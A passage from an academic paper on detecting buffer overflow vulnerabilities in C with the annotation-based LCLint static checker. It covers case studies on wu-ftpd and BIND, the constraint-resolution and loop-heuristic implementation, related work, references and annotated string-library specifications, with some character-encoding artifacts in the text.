  3439.        pasv_port_array [j-1] 
  3440.  
  3441.           = port_array [k];
  3442.  
  3443.  
  3444.  
  3445. Determining that the port_array[k] reference is safe would require far deeper
  3446. analysis and more precise specifications than is feasible within a lightweight
  3447. static checking tool.
  3448.  
  3449. Detecting buffer overflows with LCLint is an iterative process. Many of the
  3450. constraints we found involved functions that are potentially unsafe. We added
  3451. function preconditions to satisfy these constraints where possible. In certain
  3452. cases, the code was too convoluted for LCLint to determine that our
  3453. preconditions satisfied the constraints. After convincing ourselves the code was
  3454. correct, we added annotations to suppress the spurious warnings.
  3455.  
  3456. Before any annotations were added, running LCLint on wu-ftpd re¡sulted in 243
  3457. warn¡ings each corresponding to an unresolved constraint. We added 22
  3458. annotations to the source code through an iterative process similar to the
  3459. examples described above. Nearly all of the annotations were used to indicate
  3460. preconditions constraining the value of maxSet for function parameters.
  3461.  
  3462. After adding these annotations and modifying the code, running LCLint produced
  3463. 143 warnings. Of these, 88 reported unresolved constraints involving maxSet.
  3464. While we believe the remaining warnings did not indicate bugs in wu-ftpd,
  3465. LCLintÆs analyses were not sufficiently powerful to determine the code was safe.
  3466. Although this is a higher number of spurious warnings than we would like, most
  3467. of the spurious warnings can be quickly understood and suppressed by the user.
  3468. The source code contains 225 calls to the potentially buffer overflowing
  3469. functions strcat, strcpy, strncat, strncpy, fgets and gets. Only 18 of the
  3470. unresolved warnings resulted from calls to these functions. Hence, LCLint is
  3471. able to determine that 92% of these calls are safe automatically. The other
  3472. warnings all dealt with classes of problems that could not be detected through
  3473. simple lexical techniques.
  3474.  
  3475. 4.2 BIND BIND is a key component of the Internet infrastructure. Recently, the
  3476. Wall Street Journal iden¡ti¡fied buffer overflow vulnerabilities in BIND as a
  3477. critical threat to the Internet [WSJ01]. We focus on named, the DNS sever
  3478. portion of BIND, in this case study. We analyzed BIND version 8.2.2p7[9], a
  3479. version with known bugs. BIND is larger and more complex than wu-ftpd. The name
  3480. server portion of BIND, named, contains approximately 47 000 lines of C
  3481. including shared li¡bra¡ries. LCLint took less than three and a half minutes to
  3482. check all of the named code.
  3483.  
  3484. We limited our analysis to a subset of named because of the time required for
  3485. human analysis. We focused on three files: ns_req.c and two library files that
  3486. contain functions which are called extensively by ns_req.c: ns_name.c and
  3487. ns_sign.c. These files contain slightly more than 3 000 lines of code.
  3488.  
  3489. BIND makes extensive use of functions in its internal library rather than C
  3490. library functions. In order to accurately analyze individual files, we needed to
  3491. annotate the library header files. The most accurate way to annotate the library
  3492. would be to iteratively run LCLint on the library and add annotations. However,
  3493. the library was extremely large and contains deeply nested call chains. To avoid
  3494. the human analysis this would require, we added annotations to some of the
  3495. library functions without annotating all the dependent functions. In many cases,
  3496. we were able to guess preconditions by using comments or the names of function
  3497. parameters. For example, several functions took a pointer parameter (p) and
  3498. another parameter encoding it size (psize), from which we inferred a
  3499. precondition MaxSet(p) >= (psize û 1). After annotating selected BIND library
  3500. functions, we were able to check the chosen files without needing to fully
  3501. annotate all of BIND.
  3502.  
  3503. LCLint produces warnings for a series of unguarded buffer writes in the function
  3504. req_query. The code in question is called in response to a specific type of
  3505. query which requests information concerning the domain name server version. BIND
  3506. appends a response to the buffer containing the query that includes a global
  3507. string read from a configuration file. If the default configuration is used, the
  3508. code is safe because this function is only called with buffers that are large
  3509. enough to store the response. However, the restrictions on the safe use of this
  3510. function are not obvious and could easily be overlooked by someone modifying the
  3511. code. Additionally, it is possible that an administrator could reconfigure BIND
  3512. to use a value for the server version string large enough to make the code
  3513. unsafe. The BIND developers agreed that a bounds check should be inserted to
  3514. eliminate this risk [Andrews01].
  3515.  
  3516. BIND uses extensive run time bounds checking. This type of defensive programming
  3517. is important for writing secure programs, but does not guarantee that a program
  3518. is secure. LCLint detected a known buffer overflow in a function that used run
  3519. time checking but specified buffer sizes incorrectly.[10]
  3520.  
  3521. The function ns_req examines a DNS query and gen¡er¡ates a response. As part of
  3522. its message processing, it looks for a signature and signs its response with the
  3523. function ns_sign. LCLint reported that it was unable to satisfy a precondition
  3524. for ns_sign that requires the size of the message buffer be accurately described
  3525. by a size parameter. This precondition was added when we initially annotated the
  3526. shared library. A careful hand analysis of this function reveals that to due to
  3527. careless modification of variables denoting buffer length, it is possible for
  3528. the buffer length to be specified incorrectly if the message contains a
  3529. signature but a valid key is not found. This buffer overflow vulnerability was
  3530. introduced when a digital signature feature was added to BIND (ironically to
  3531. increase security). Static analysis tools can be used to quickly alert
  3532. programmers to assumptions that are broken by incremental code changes.
  3533.  
  3534. Based on our case studies, we believe that LCLint is a useful tool for improving
  3535. the security of programs. It does not detect all possible buffer overflow
  3536. vulnerabilities, and it can generate spurious warnings. In practice, however, it
  3537. provides programmers concerned about security vulnerabilities with useful
  3538. assistance, even for large, complex programs. In addition to aiding in the
  3539. detection of exploitable buffer overflows, the process of adding annotations to
  3540. code encourages a disciplined style of programming and produces programs that
  3541. include reliable and precise documentation.
  3542.  
  3543. Implementation
  3544.  
  3545. Our analysis is implemented by combining traditional compiler data flow analyses
  3546. with constraint generation and resolution. Programs are analyzed at the function
  3547. level; all interprocedural analyses are done using the information contained in
  3548. annotations.
  3549.  
  3550. We support four types of constraints corresponding to the annotations introduced
  3551. in Section 2: maxSet, minSet, maxRead, and minRead. Constraints can also contain
  3552. constants and variables and allow the arithmetic operations: + and -. Terms in
  3553. constraints can refer to any C expression, although our analysis will not be
  3554. able to evaluate some C expressions statically.
  3555.  
  3556.  
  3557. The full constraint grammar is:
  3558.  
  3559. constraint ▐ (requires | ensures)
  3560.  
  3561. constraintExpression relOp constraintExpression
  3562.  
  3563. relationalOp ▐ == | > | >= | < | <=
  3564.  
  3565. constraintExpression ▐
  3566.  
  3567.     constraintExpression binaryOp constraintExpresion
  3568.  
  3569.   | unaryOp ( constraintExpression )
  3570.  
  3571.   | term
  3572.  
  3573. binaryOp ▐ + | -
  3574.  
  3575. unaryOp ▐ maxSet | maxRead | minSet | minRead
  3576.  
  3577. term ▐ variable | C expression | literal | result
  3578.  
  3579.  
  3580.  
  3581. Source-code annotations allow arbitrary constraints (as defined by our
  3582. constraint grammar) to be specified as the preconditions and postconditions of
  3583. functions. Constraints can be conjoined (using /\), but there is no support for
  3584. disjunction. All variables used in constraints have an associated location.
  3585. Since the value stored by a variable may change in the function body, it is
  3586. important that the constraint resolver can distinguish the value at different
  3587. points in the program execution.
  3588.  
  3589. Constraints are generated at the expression level and stored in the
  3590. corresponding node in the parse tree. Constraint resolution is integrated with
  3591. the checking by resolving constraints at the statement level as checking
  3592. traverses up the parse tree. Although this limits the power of our analysis, it
  3593. ensures that it will be fast and simple. The remainder of this section describes
  3594. briefly how constraints are represented, generated and resolved.
  3595.  
  3596. Constraints are generated for C statements by traversing the parse tree and
  3597. generating constraints for each subexpression. We determine constraints for a
  3598. statement by conjoining the constraints of its subexpressions. This assumes
  3599. subexpressions cannot change state that is used by other subexpressions of the
  3600. same expression. The semantics of C make this a valid assumption for nearly all
  3601. expressions û it is undefined behavior in C for two subexpressions not separated
  3602. by a sequence point to read and write the same data. Since LCLint detects and
  3603. warns about this type of undefined behavior, it is reasonable for the buffer
  3604. overflow checking to rely on this assumption. A few C expressions do have
  3605. intermediate sequence points (such as the comma operator which specifies that
  3606. the left operand is always evaluated first) and cannot be analyzed correctly by
  3607. our simplified assumptions. In practice, this has not been a serious limitation
  3608. for our analysis.
  3609.  
  3610. Constraints are resolved at the statement level in the parse tree and above
  3611. using axiomatic semantics techniques. Our analysis attempts to resolve
  3612. constraints using postconditions of earlier statements and function
  3613. preconditions. To aid in constraint resolution, we simplify constraints using
  3614. standard algebraic techniques such as combining constants and substituting
  3615. terms. We also use constraint-specific simplification rules such as maxSet(ptr +
  3616. i) = maxSet(ptr) - i. We have similar rules for maxRead, minSet, and minRead.
  3617.  
  3618. Constraints for statement lists are produced using normal axiomatic semantics
  3619. rules and simple logic to combine the constraints of individual statements. For
  3620. example, the code fragment
  3621.  
  3622.  
  3623. 1      t++;
  3624.  
  3625. 2      *t = æxÆ;
  3626.  
  3627. 3      t++;
  3628.  
  3629. leads to the constraints: 
  3630.  
  3631. requires maxSet(t @ 1:1) >= 1, 
  3632.  
  3633. ensures maxRead(t @ 3:4) >= -1 and 
  3634.  
  3635. ensures (t @ 3:4) = (t @ 1:1) + 2.
  3636.  
  3637.  
  3638.  
  3639. The assignment to *t on line 2 produces the constraint requires maxSet(t @ 2:2)
  3640. >= 0. The increment on line 1 produces the constraint ensures (t@1:4) = (t@1:1)
  3641. + 1. The increment constraint is substituted into the maxSet constraint to
  3642. produce requires maxSet (t@1:1 + 1) >= 0. Using the constraint-specific
  3643. simplification rule, this simplifies to requires maxSet (t@1:1) - 1 >= 0 which
  3644. further simplifies to requires maxSet(t @ 1:1) >= 1.
  3645.  
  3646. Control Flow
  3647.  
  3648. Statements involving control flow such as while and for loops and if statements,
  3649. require more complex analysis than simple statement lists. For if statements and
  3650. loops, the predicate often provides a guard that makes a possibly unsafe
  3651. operation safe. In order to analyze such constructs well, LCLint must take into
  3652. account the value of the predicate on different code paths. For each predicate,
  3653. LCLint generates three lists of postcondition constraints: those that hold
  3654. regardless of the truth value of the predicate, those that hold when the
  3655. predicate evaluates to true, and those that hold when the predicate evaluates to
  3656. false.
  3657.  
  3658. To analyze an if statement, we develop branch specific guards based on our
  3659. analysis of the predicate and use these guards to resolve constraints within the
  3660. body. For example, in the statement
  3661.  
  3662.  
  3663.    if (sizeof (s1) > strlen (s2))
  3664.  
  3665.     strcpy(s1, s2);
  3666.  
  3667. if s1 is a fixed-size array, sizeof (s1) will be equal to maxSet(s1) + 1. Thus
  3668. the if predicate allows LCLint to determine that the constraint maxSet(s1) >=
  3669. maxRead(s2) holds on the true branch. Based on this constraint LCLint determines
  3670. that the call to strcpy is safe.
  3671.  
  3672. Looping constructs present additional problems. Previous versions of LCLint made
  3673. a gross simplification of loop behavior: all for and while loops in the program
  3674. were analyzed as though the body executed either zero or one times. Although
  3675. this is clearly a ridiculous assumption, it worked surprisingly well for the
  3676. types of analyses done by LCLint. For the buffer overflow analyses, this
  3677. simplified view of loop semantics does not provide satisfactory results û to
  3678. determine whether buf[i] is a potential buffer overflow, we need to know the
  3679. range of values i may represent. Analyzing the loop as though its body executed
  3680. only once would not provide enough information about the possible values of i.
  3681.  
  3682. In a typical program verifier, loops are handled by requiring programmers to
  3683. provide loop invariants. Despite considerable effort [Wegbreit75, Cousot77,
  3684. Collins88, IS97, DLNS98, SI98], no one has yet been able to produce tools that
  3685. generate suitable loop invariants automatically. Some promising work has been
  3686. done towards discovering likely invariants by executing programs [ECGN99], but
  3687. these techniques require well-constructed test suites and many problems remain
  3688. before this could be used to produce the kinds of loop invariants we need.
  3689. Typical programmers are not able or willing to annotate their code with loop
  3690. invariants, so for LCLint to be effective we needed a method for handling loops
  3691. that produces better results than our previous gross simplification method, but
  3692. did not require expensive analyses or programmer-supplied loop invariants.
  3693.  
  3694. Our solution is to take advantage of the idioms used by typical C programmers.
  3695. Rather than attempt to handle all possible loops in a general way, we observe
  3696. that a large fraction of the loops in most C programs are written in a stylized
  3697. and structured way. Hence, we can develop heuristics for identifying and
  3698. analyzing loops that match certain common idioms. When a loop matches a known
  3699. idiom, corresponding heuristics can be used to guess how many times the loop
  3700. body will execute. This information is used to add additional preconditions to
  3701. the loop body that constrain the values of variables inside the loop.
  3702.  
  3703. To further simplify the analysis, we assume that any buffer overflow that occurs
  3704. in the loop will be apparent in either the first or last iterations. This is a
  3705. reasonable assumption in almost all cases, since it would be quite rare for a
  3706. program to contain a loop where the extreme values of loop variables were not on
  3707. the first and last iterations. This allows simpler and more efficient loop
  3708. checking. To analyze the first iteration of the loop, we treat the loop as an if
  3709. statement and use the techniques described above. To analyze the last iteration
  3710. we use a series of heuristics to determine the number of loop iterations and
  3711. generate additional constraints based on this analysis.
  3712.  
  3713. An example loop heuristic analyzes loops of the form
  3714.  
  3715. for (index = 0; expr; index++) body
  3716.  
  3717. where the body and expr do not modify the index variable and body does not
  3718. contain a statement (e.g., a break) that could interfere with normal loop
  3719. execution. Analyses performed by the original LCLint are used to aid loop
  3720. heuristic pattern matching. For example, we use LCLintÆs modification analyses
  3721. to determine that the loop body does not modify the index variable.
  3722.  
  3723. For a loop that matches this idiom, it is reasonable to assume that the number
  3724. of iterations can be determined solely from the loop predicate. As with if
  3725. statements, we generate three lists of postcondition constraints for the loop
  3726. test. We determine the terminating condition of the loop by examining the list
  3727. of postcondition constraints that apply specifically to the true branch. Within
  3728. these constraints, we look for constraints of the form index <= e. For each of
  3729. these constraints, we search the increment part of the loop header for
  3730. constraints matching the form index = index + 1. If we find a constraint of this
  3731. form, we assume the loop runs for e iterations.
  3732.  
  3733. Of course, many loops that match this heuristic will not execute for e
  3734. iterations. Changes to global state or other variables in the loop body could
  3735. affect the value of e. Hence, our analysis is not sound or complete. For the
  3736. programs we have tried so far, we have found this heuristic works correctly.
  3737.  
  3738. Abstract syntax trees for loops are converted to a canonical form to increase
  3739. their chances of matching a known heuristic. After canonicalization, this loop
  3740. pattern matches a surprisingly high number of cases. For example, in the loop
  3741.  
  3742. for (i = 0; buffer[i]; i++) body
  3743.  
  3744. the postconditions of the loop predicate when the body executes would include
  3745. the constraint ensures i < maxRead(buffer). This would match the pattern so
  3746. LCLint could determine that the loop executes for maxRead(buffer) iterations.
  3747.  
  3748. Several other heuristics are used to match other common loop idioms used in C
  3749. programs. We can generalize the first heuristic to cases where the initial index
  3750. value is not known. If LCLint can calculate a reasonable upper bound on the
  3751. number of iterations (for example, if we can determine that the initial value of
  3752. the index is always non-negative), it can determine an upper bound on the number
  3753. of loop iterations. This can generate false positives if LCLint overestimates
  3754. the actual number of loop iterations, but usually gives a good enough
  3755. approximation for our purposes.
  3756.  
  3757. Another heuristic recognizes a common loop form in which a loop increments and
  3758. tests a pointer. Typically, these loops match the pattern:
  3759.  
  3760. for (init; *buf; buf++)
  3761.  
  3762. A heuristic detects this loop form and assumes that loop executes for
  3763. maxRead(buf) iterations.
  3764.  
  3765. After estimating the number of loop iterations, we use a series of heuristics to
  3766. generate reasonable constraints for the last iteration. To do this, we calculate
  3767. the value of each variable in the last iteration. If a variable is incremented
  3768. in the loop, we estimate that in the last iteration the variable is the sum of
  3769. the number of loop iterations and the value of the variable in the first
  3770. iteration. For the loop to be safe, all loop preconditions involving the
  3771. variable must be satisfied for the values of the variable in both the first and
  3772. last iterations. This heuristic gives satisfactory results in many cases.
  3773.  
  3774. Our heuristics were initially developed based on our analysis of wu-ftpd. We
  3775. found that our heuristics were effective for BIND also. To handle BIND, a few
  3776. addi¡tional heuristics were added. In particular, BIND fre¡quently used
  3777. comparisons of pointer addresses to ensure a memory accesses is safe. Without an
  3778. appro¡priate heuristic, LCLint generated spurious warnings for these cases. We
  3779. added appropriate heuristics to handle these situations correctly. While we
  3780. expect experience with additional programs would lead to the addition of new
  3781. loop heuristics, it is encouraging that only a few additional heuristics were
  3782. needed to analyze BIND.
  3783.  
  3784. Although no collection of loop heuristics will be able to correctly analyze all
  3785. loops in C programs, our experience so far indicates that a small number of loop
  3786. heuristics can be used to correctly analyze most loops in typical C programs.
  3787. This is not as surprising as it might seem û most programmers learn to code
  3788. loops from reading examples in standard texts or other peopleÆs code. A few
  3789. simple loop idioms are sufficient for programming many computations.
  3790.  
  3791. Related Work
  3792.  
  3793. In Section 2, we described run-time approaches to the buffer overflow problem.
  3794. In this section, we compare our work to other work on static analysis.
  3795.  
  3796. It is possible to find some program flaws using lexical analysis alone. Unix
  3797. grep is often used to perform a crude analysis by searching for potentially
  3798. unsafe library function calls. ITS4 is a lexical analysis tool that searches for
  3799. security problems using a database of potentially dangerous constructs [VBKM00].
  3800. Lexical analysis techniques are fast and simple, but their power is very limited
  3801. since they do not take into account the syntax or semantics of the program.
  3802.  
  3803. More precise checking requires a deeper analysis of the program. Our work builds
  3804. upon considerable work on constraint-based analysis techniques. We do not
  3805. attempt to summarize foundational work here. For a summary see [Aiken99].
  3806.  
  3807. Proof-carrying code [NL 96, Necula97] is a technique where a proof is
  3808. distributed with an executable and a verifier checks the proof guarantees the
  3809. executable has certain properties. Proof-carrying code has been used to enforce
  3810. safety policies constraining readable and writeable memory locations. Automatic
  3811. con¡struc¡tion of proofs of memory safety for programs written in an unsafe
  3812. language, however, is beyond current capabilities.
  3813.  
  3814. Wagner, et al. have developed a system to statically detect buffer overflows in
  3815. C [WFBA00, Wagner00]. They used their tool effectively to find both known and
  3816. unknown buffer overflow vulnerabilities in a version of sendmail. Their approach
  3817. formulates the problem as an integer range analysis problem by treating C
  3818. strings as an abstract type accessed through library functions and modeling
  3819. pointers as integer ranges for allocated size and length. A consequence of
  3820. modeling strings as an abstract data type is that buffer overflows involving
  3821. non-character buffers cannot be detected. Their system generates constraints
  3822. similar to those generated by LCLint for operations involving strings. These
  3823. constraints are not generated from annotations, but constraints for standard
  3824. library functions are built in to the tool. Flow insensitive analysis is used to
  3825. resolve the constraints. Without the localization provided by annotations, it
  3826. was believed that flow sensitive analyses would not scale well enough to handle
  3827. real programs. Flow insensitive analysis is less accurate and does not allow
  3828. special handling of loops or if statements.
  3829.  
  3830. Dor, Rodeh and Sagiv have developed a system that detects unsafe string
  3831. operations in C programs [DRS01]. Their system performs a source-to-source
  3832. trans¡for¡ma¡tion that instruments a program with additional variables that
  3833. describe string attributes and contains assert statements that check for unsafe
  3834. string op¡er¡a¡tions. The instrumented program is then analyzed statically using
  3835. integer analysis to determine possible assertion failures. This approach can
  3836. handle many com¡plex properties such as over¡lapping pointers. However, in the
  3837. worst case the number of variables in the instrumented program is quadratic in
  3838. the number of variables in the original program. To date, it has only been used
  3839. on small example programs.
  3840.  
  3841. WagnerÆs prototype has been used effectively to find both known and previously
  3842. unknown buffer overflow vulnerabilities in sendmail. WagnerÆs prototype is known
  3843. scale to fairly large applications. Versions of LCLint without buffer overflow
  3844. checking scaled to vary large applications. The nature of our modifications
  3845. suggests that our version of LCLint would continue to scale to very large
  3846. applications.
  3847.  
  3848. WagnerÆs tool does not require adding annotations. This makes the up-front
  3849. effort required to use the tool less than that required in order to use LCLint.
  3850. However, human evaluation of error messages is by far the most time consuming
  3851. part program analysis. As with LCLint, WagnerÆs prototype produces a large
  3852. number of spurious messages, and it is up to the programmer to determine which
  3853. messages are spurious. If a large amount of time is spent on human analysis, the
  3854. additional time spent on adding annotations is not likely to be significant. A
  3855. process of human input and repeated checking may actually be faster than simply
  3856. generating less accurate error messages.
  3857.  
  3858. A few tools have been developed to detect array bounds errors in languages other
  3859. than C. John McHugh developed a verification system that detects array bounds
  3860. errors in the Gypsy language [McHugh84]. Extended Static Checking uses an
  3861. automatic theorem-prover to detect array index bounds errors in Modula-3 and
  3862. Java [DLNS98]. Extended Static Checking uses information in annotations to
  3863. assist checking. Detecting array bounds errors in C programs is harder than for
  3864. Modula-3 or Java, since those languages do not provide pointer arithmetic.
  3865.  
  3866. Conclusions We have presented a lightweight static analysis tool for detecting
  3867. buffer overflow vulnerabilities. It is neither sound nor complete; hence, it
  3868. misses some vul¡ner¡a¡bilities and produces some spurious warnings. Despite
  3869. this, our experience so far indicates that it is useful. We were able to find
  3870. both known and previously unknown buffer overflow vulnerabilities in wu-ftpd and
  3871. BIND with a reasonable amount of effort using our approach. Further, the process
  3872. of adding annotations is a con¡struct¡ive and useful step for understanding of a
  3873. program and improving its maintainability.
  3874.  
  3875. We believe it is realistic (albeit perhaps optimistic) to be¡lieve programmers
  3876. would be willing to add annota¡tions to their programs if they are used to
  3877. efficiently and clearly detect likely buffer overflow vulnerabilities (and other
  3878. bugs) in their programs. An informal sam¡pling of tens of thousands of emails
  3879. received from LCLint users indicates that about one quarter of LCLint users add
  3880. the annotations supported by previously released versions of LCLint to their
  3881. programs. Perhaps half of those use annotations in sophisticated ways (and
  3882. occasionally in ways the authors never imagined). Although the annotations
  3883. required for effectively detecting buffer overflow vul¡ner¡abilities are
  3884. somewhat more complicated, they are only an incremental step beyond previous
  3885. annotations. In most cases, and certainly for security-sensitive programs, the
  3886. benefits of doing so should far outweigh the effort required.
  3887.  
  3888. These techniques, and static checking in general, will not provide the complete
  3889. solution to the buffer overflow problem. We are optimistic, though, that this
  3890. work repre¡sents a step towards that goal.
  3891.  
  3892. Availability
  3893.  
  3894. LCLint source code and binaries for several platforms are available from
  3895. http://lclint.cs.virginia.edu.
  3896.  
  3897. Acknowledgements
  3898.  
  3899. We would like to thank the NASA Langley Research Center for supporting this
  3900. work. David Evans is also supported by an NSF CAREER Award. We thank John
  3901. Knight, John McHugh, Chenxi Wang, Joel Winstead and the anonymous reviewers for
  3902. their helpful and insightful comments.
  3903.  
  3904. References
  3905.  
  3906. [Aiken99] Alexander Aiken. Introduction to Set Constraint-Based Program
  3907. Analysis. Science of Computer Programming, Volume 35, Numbers 2-3. November
  3908. 1999.
  3909.  
  3910. [AlephOne96] Aleph One. Smashing the Stack for Fun and Profit. BugTraq Archives.
  3911. http://immunix.org/StackGuard/profit.html.
  3912.  
  3913. [Andrews01] Mark Andrews. Personal communication, May 2001.
  3914.  
  3915. [BST00] Arash Baratloo, Navjot Singh and Timothy Tsai. Transparent Run-Time
  3916. Defense Against Stack-Smashing Attacks. 9th USENIX Security Symposium, August
  3917. 2000.
  3918.  
  3919. [Collins88] William J. Collins. The Trouble with For-Loop Invariants. 19 th
  3920. SIGCSE Technical Symposium on Computer Science Education, February 1988.
  3921.  
  3922. [Coolbaugh99] Liz Coolbaugh. Buffer Overflow Protection from Kernel Patches.
  3923. Linux Weekly News, http://lwn.net/1999/1230/security.php3.
  3924.  
  3925. [Cousot77] Patrick Cousot and Radhia Cousot. Abstract Interpretation: A Unified
  3926. Lattice Model for Static Analysis of Programs by Construction or Approximation
  3927. of Fixpoints. Fourth ACM Sympo¡sium on Principles of Programming Languages,
  3928. January 1977.
  3929.  
  3930. [CPMH+98] Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
  3931. Steve Beattie, Aaron Grier, Perry Wagle and Qian Zhang. Automatic Detection and
  3932. Prevention of Buffer-Overflow Attacks. 7th USENIX Security Symposium, January
  3933. 1998.
  3934.  
  3935. [CBDP+99] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
  3936. and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
  3937. StackGuard. Linux Expo. May 1999. (Updated statistics at
  3938. http://immunix.org/StackGuard/performance.html)
  3939.  
  3940. [CWPBW00] Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie and Jonathan
  3941. Walpole. Buffer Overflows: Attacks and Defenses for the Vulnerability of the
  3942. Decade. DARPA Information Survivability Conference and Exposition. January 2000.
  3943.  
  3944. [DLNS98] David Detlefs, K. Rustan M. Leino, Greg Nelson and James B. Saxe.
  3945. Extended Static Checking. Research Report, Compaq Systems Research Center.
  3946. December 18, 1998.
  3947.  
  3948. [DRS01] Nurit Dor, Michael Rodeh and Mooly Sagiv. Cleanness Checking of String
  3949. Manipulations in C Programs via Integer Analysis. 8th International Static
  3950. Analysis Symposium. To appear, July 2001.
  3951.  
  3952. [ES99] ┌lfar Erlingsson and Fred B. Schneider. SASI Enforcement of Security
  3953. Policies: A Retrospective. New Security Paradigms Workshop. September 1999.
  3954.  
  3955. [ES00] Ulfar Erlingsson and Fred B. Schneider. IRM Enforcement of Java Stack
  3956. Inspection. IEEE Symposium on Security and Privacy. May 2000.
  3957.  
  3958. [ECGN99] Michael D. Ernst, Jake Cockrell, William G. Griswold and David Notkin.
  3959. Dynamically Discovering Likely Program Invariants to Support Program Evolution.
  3960. International Conference on Software Engineering. May 1999.
  3961.  
  3962. [EGHT94] David Evans, John Guttag, Jim Horning and Yang Meng Tan. LCLint: A Tool
  3963. for Using Specifications to Check Code. SIGSOFT Symposium on the Foundations of
  3964. Software Engineering. December 1994.
  3965.  
  3966. [Evans96] David Evans. Static Detection of Dynamic Memory Errors. SIGPLAN
  3967. Conference on Programming Language Design and Implementation. May 1996.
  3968.  
  3969. [ET99] David Evans and Andrew Twyman. Flexible Policy-Directed Code Safety. IEEE
  3970. Symposium on Security and Privacy. May 1999.
  3971.  
  3972. [Evans00a] David Evans. Policy-Directed Code Safety. MIT PhD Thesis. February
  3973. 2000.
  3974.  
  3975. [Evans00b] David Evans. Annotation-Assisted Lightweight Static Checking. First
  3976. International Workshop on Automated Program Analysis, Testing and Verification.
  3977. June 2000.
  3978.  
  3979. [Evans00c] David Evans. LCLint UserÆs Guide, Version 2.5. May 2000.
  3980. http://lclint.cs.virginia.edu/guide/
  3981.  
  3982. [FBF99] Timothy Fraser, Lee Badger and Mark Feldman. Hardening COTS Software
  3983. with Generic Software Wrappers. IEEE Symposium on Security and Privacy. May
  3984. 1999.
  3985.  
  3986. [GWTB96] Ian Goldberg, David Wagner, Randi Thomas and Eric A. Brewer. A Secure
  3987. Environment for Untrusted Helper Applications: Confining the Wily Hacker. 6th
  3988. USENIX Security Symposium. July 1996.
  3989.  
  3990. [GH93] John V. Guttag and James J. Horning, editors, with Stephen J. Garland,
  3991. Kevin D. Jones, AndrΘs Modet and Jennette M. Wing. Larch: Languages and Tools
  3992. for Formal Specification. Springer-Verlag. 1993.
  3993.  
  3994. [IS97] A. Ireland and J. Stark. On the Automatic Discovery of Loop Invariants.
  3995. 4th NASA Langley Formal Methods Workshop. September 1997.
  3996.  
  3997. [ISO99] ISO/IEC 9899 International Standard. Programming Languages û C. December
  3998. 1999. Approved by ANSI May 2000.
  3999.  
  4000. [LHSS00] David Larochelle, Yanlin Huang, Avneesh Saxena and Seejo Sebastine.
  4001. Static Detection of Buffer Overflows in C using LCLint. Unpublished report
  4002. available from the authors. May 2000.
  4003.  
  4004. [Luckin01] Bob Luckin. Personal communication, April 2001.
  4005.  
  4006. [Lundberg01] Gregory A Lundberg. Personal communication, April 2001.
  4007.  
  4008. [McHugh84] John McHugh. Towards the Generation of Efficent Code form Verified
  4009. Programs. Technical Report 40, Institute for Computing Science, University of
  4010. Texas at Austin PhD Thesis, 1984.
  4011.  
  4012. [Necula97] George C. Necula. Proof-Carrying Code. 24th ACM SIGPLAN-SIGACT
  4013. Symposium on Principles of Programming Langauges, January 1997.
  4014.  
  4015. [NL96] George C. Necula and Peter Lee. Safe Kernel Extensions Without Run-Time
  4016. Checking. 2nd Symposium on Operating Systems Design and Implementation, October
  4017. 1996.
  4018.  
  4019. [Orcero00] David Santo Orcero. The Code Analyzer LCLint. Linux Journal. May
  4020. 2000.
  4021.  
  4022. [Pethia00] Richard D. Pethia. Bugs in Programs. Keynote address at SIGSOFT
  4023. Foundations of Software Engineering. November 2000.
  4024.  
  4025. [PG00] Pramode C E and Gopakumar C E. Static Checking of C programs with LCLint.
  4026. Linux Gazette Issue 51. March 2000.
  4027.  
  4028. [RE89] Jon Rochlis and Mark Eichin. With Microscope and Tweezers: the Worm from
  4029. MITÆs Perspective. Communications of the ACM. June 1989.
  4030.  
  4031. [Snow99] Brian Snow. Future of Security. Panel presentation at IEEE Security and
  4032. Privacy. May 1999.
  4033.  
  4034. [Spafford88] Eugene Spafford. The Internet Worm Program: An Analysis. Purdue
  4035. Tech Report 832. 1988.
  4036.  
  4037. [SI98] J. Stark and A. Ireland. Invariant Discovery Via Failed Proof Attempts.
  4038. 8th International Workshop on Logic Based Program Synthesis and Transformation.
  4039. June 1998.
  4040.  
  4041. [Torvalds98] Linus Torvalds. Message archived in Linux Weekly News. August 1998.
  4042. http://lwn.net/980806/a/linus-noexec.html
  4043.  
  4044. [VBKM00] John Viega, J.T. Bloch, Tadayoshi Kohno and Gary McGraw. ITS4 : A
  4045. Static Vulnerability Scanner for C and C++ Code. Annual Computer Security
  4046. Applications Conference. December 2000.
  4047.  
  4048. [WFBA00] David Wagner, Jeffrey S. Foster, Eric A. Brewer and Alexander Aiken. A
  4049. First Step Towards Automated Detection of Buffer Overrun Vulnerabilities.
  4050. Network and Distributed System Security Symposium. February 2000.
  4051.  
  4052. [Wagner00] David Wagner. Static Analysis and Computer Security: New Techniques
  4053. for Software Assurance. University of California, Berkeley, PhD Thesis, 2000.
  4054.  
  4055. [WLAG93] Robert Wahbe, Steven Lucco, Thomas E. Anderson and Susan L. Graham.
  4056. Efficient Software-Based Fault Isolation. 14th ACM Symposium on Operating
  4057. Systems Principles, 1993.
  4058.  
  4059. [Wegbreit75] Ben Wegbreit. Property Extraction in Well-Founded Property Sets.
  4060. IEEE Transactions on Software Engineering, September 1975.
  4061.  
  4062. [WSJ01] The Wall Street Journal. Researchers Find Software Flaw Giving Hackers
  4063. Key to Web Sites. January 30, 2001.
  4064.  
  4065. A. Annotated Selected C Library Functions
  4066.  
  4067.  
  4068. char *strcpy (char *s1, char *s2) 
  4069.  
  4070. /*@requires maxSet(s1) >= maxRead(s2)@*/ 
  4071.  
  4072. /*@ensures maxRead(s1) == maxRead (s2) /\ result == s1@*/;
  4073.  
  4074.  char *strncpy (char *s1, char *s2, size_t n)
  4075.  
  4076. /*@requires maxSet(s1) >= n û 1@*/ 
  4077.  
  4078. /*@ensures maxRead (s1) <= maxRead(s2) /\ maxRead (s1) <= (n û 1) /\ result == s1@*/; 
  4079.  
  4080.  char *strcat (char *s1, char *s2) 
  4081.  
  4082. /*@requires maxSet(s1) >= (maxRead(s1) + maxRead(s2))@*/
  4083.  
  4084. /*@ensures maxRead(s1) == maxRead(s1) + maxRead(s2) /\ result == s1@*/;
  4085.  
  4086.  strncat (char *s1, char *s2, int n)
  4087.  
  4088. /*@requires maxSet(s1) >= maxRead(s1) + n@*/
  4089.  
  4090. /*@ensures maxRead(result) >= maxRead(s1) + n@*/;
  4091.  
  4092.  extern size_t strlen (char *s) 
  4093.  
  4094. /*@ensures result == maxRead(s)@*/;
  4095.  
